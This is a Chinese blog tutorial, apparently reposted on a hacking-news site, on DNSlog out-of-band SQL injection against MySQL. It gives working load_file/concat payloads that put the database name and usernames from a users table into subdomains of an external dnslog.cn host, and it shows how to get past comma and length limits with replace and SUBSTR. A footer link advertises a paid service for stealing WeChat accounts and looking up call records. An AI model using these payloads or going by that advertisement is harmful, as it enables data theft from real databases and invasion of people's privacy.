DNSlog注入详细解析

访客4年前黑客资讯1101


DNSlog注入语句

select load_file(concat('\\\\',(select database()),'.gitw7c.dnslog.cn/abc'));

//转换之后的结果为:\\security.gitw7c.dnslog.cn

原理是load_file通过请求security.gitw7c.dnslog.cn下的/abc文件时留下dns解析记录来获取信息的。

域名知识:

域名可以分为5级,从右向左解析,用 . 分割级别,低级别的域名要在高级别的域名中去解析,所以当security.gitw7c.dnslog.cn去gitw7c.dnslog.cn中去解析的时候,就会留下解析记录,通过获取前来解析的低级域名前缀来获取我们需要的信息
由于每一级域名的长度只能为63个字符,所以在mysql中获取到超过63个字节的字符时,会被当作一个错误的域名,不会产生去解析的动作,所以gitw7c.dnslog.cn也不会收到解析的记录,所以我们就获取不到想要的信息了
1609138708_5fe982145b303fee7c932.png!small?1609138709598
域名里有一个规则,只能出现数字,字母,下划线;所以在获取到的信息中包含了其他特殊符号时,load_file就会认为是一个错误的域名,就不会去从 *** 中解析了。


如:
1609138413_5fe980ed4a2f088d1b382.png!small?1609138414633
当前我的数据库名为security,是以字母开头的,在域名规则内是允许的,所以load_file会向域名进行解析
1609138427_5fe980fb3cec4799c6e7b.png!small?1609138428518

sql payload

当我在域名中拼接一个@符号时,就不会进行解析
1609138439_5fe9810779de49e8b1da1.png!small?1609138440761

1609138452_5fe9811496e01b6397e36.png!small?1609138453908
也就不会有解析记录

我们在使用group_concat合并查询时,会自动使用 "," 连接我们查询到的每值,但是由于 , 在url中是不允许出现的,所以使用group查询到的值去解析时候,mysql就会认为这不是一个url地址,就不会出现解析的操作,所以就没法获取到值,
1609138471_5fe98127ac52b96f45764.png!small?1609138472939

更佳方案

不过事情总是有解决的办法的,通过我不断地构造语句,之后使用replace,substr等函数,成功绕过了url解析的问题
如:
select load_file(concat('\\\\',(select SUBSTR(replace((group_concat(username )),',','_'),1,63) from users),'.qnpqsu.dnslog.cn/abc'))
通过正则替换将replace中的 “ ,”全部替换为 “ _ ” 这样就可以符合url的解析规则了,并且我们只需要将查询结果的字符长度控制在63个就可以了.
如图:
1609138557_5fe9817d0ebaae06cbe7f.png!small?16091385583281609138565_5fe981855e7b2ffd90dec.png!small?1609138566675


作者:GoodXuan ? ·
学校:必安科技-必火 *** 安全? ? ? ? ? ? ? ? ? ? ? ?·
E-mail:2596456807@qq.com? ·
如若转载请在文章中表明原文章出处与作者? ·


相关文章

在家做的赚钱方法(2019年在家里免费赚钱的方法

在家做的赚钱方法(2019年在家里免费赚钱的方法

如今的社会,宅男宅女是越来越多,不仅数主动宅在家里,还有很多宝妈,他们因为孩子,不得不被迫离开职场,每天在家里带娃,收拾屋子,也有很多人空闲时间很多,想让自己生活充实起来,不出去工作,吃什么、喝什么、...

被黑客盯上_(被黑客盯上该怎么办)

被黑客盯上_(被黑客盯上该怎么办)

被黑客盯上了怎么办? 1、立即通过备份恢复被修改的网页。建立被入侵系统当前完整系统快照,或只保存被修改部分的快照,以便事后分析和留作证据。通过分析系统日志文件,或者通过弱点检测工具来了解黑客入侵系统所...

数字经济(“数字经济”时代到来)

数字经济(“数字经济”时代到来)微信扫一扫即可完成购物支付、一部手机一台电脑就能在家办公、数据代替人工跑路方便又高效……仰赖数字经济的发展,人们的生活变得越来越数字化和智能化。不仅如此,数字化还为经济...

微信盗号黑客哪里找(黑客盗微信号靠谱吗)

专业技术团队✅记录查询✅找人查人✅通话记录✅等选择我们团队是您值得信赖的正确首选✅...

竞彩足球怎么玩?专家教你玩竞彩足球的技巧

竞彩足球怎么玩?专家教你玩竞彩足球的技巧

如果你不想继续赔钱! 请认真阅读此文并严格执行!你必然受益匪浅! 若有不明白的地方,请私信小编:今天我就结合足彩的特点,介绍五种快速有效的足彩盈利的方法。 足彩盈利秘笈一:进行分组 竞彩的...

马拉松多少公里?全马、半马、10公里等级标准

马拉松多少公里?全马、半马、10公里等级标准

  随着马拉松项目的蓬勃发展,有的跑者是享受跑步的快乐,但也有的跑者会去追求速度。2018年初中国田协新修订了大众选手等级评定实施办法,根据全程马拉松、成绩,划定非专业选手的等级。 该等级评定...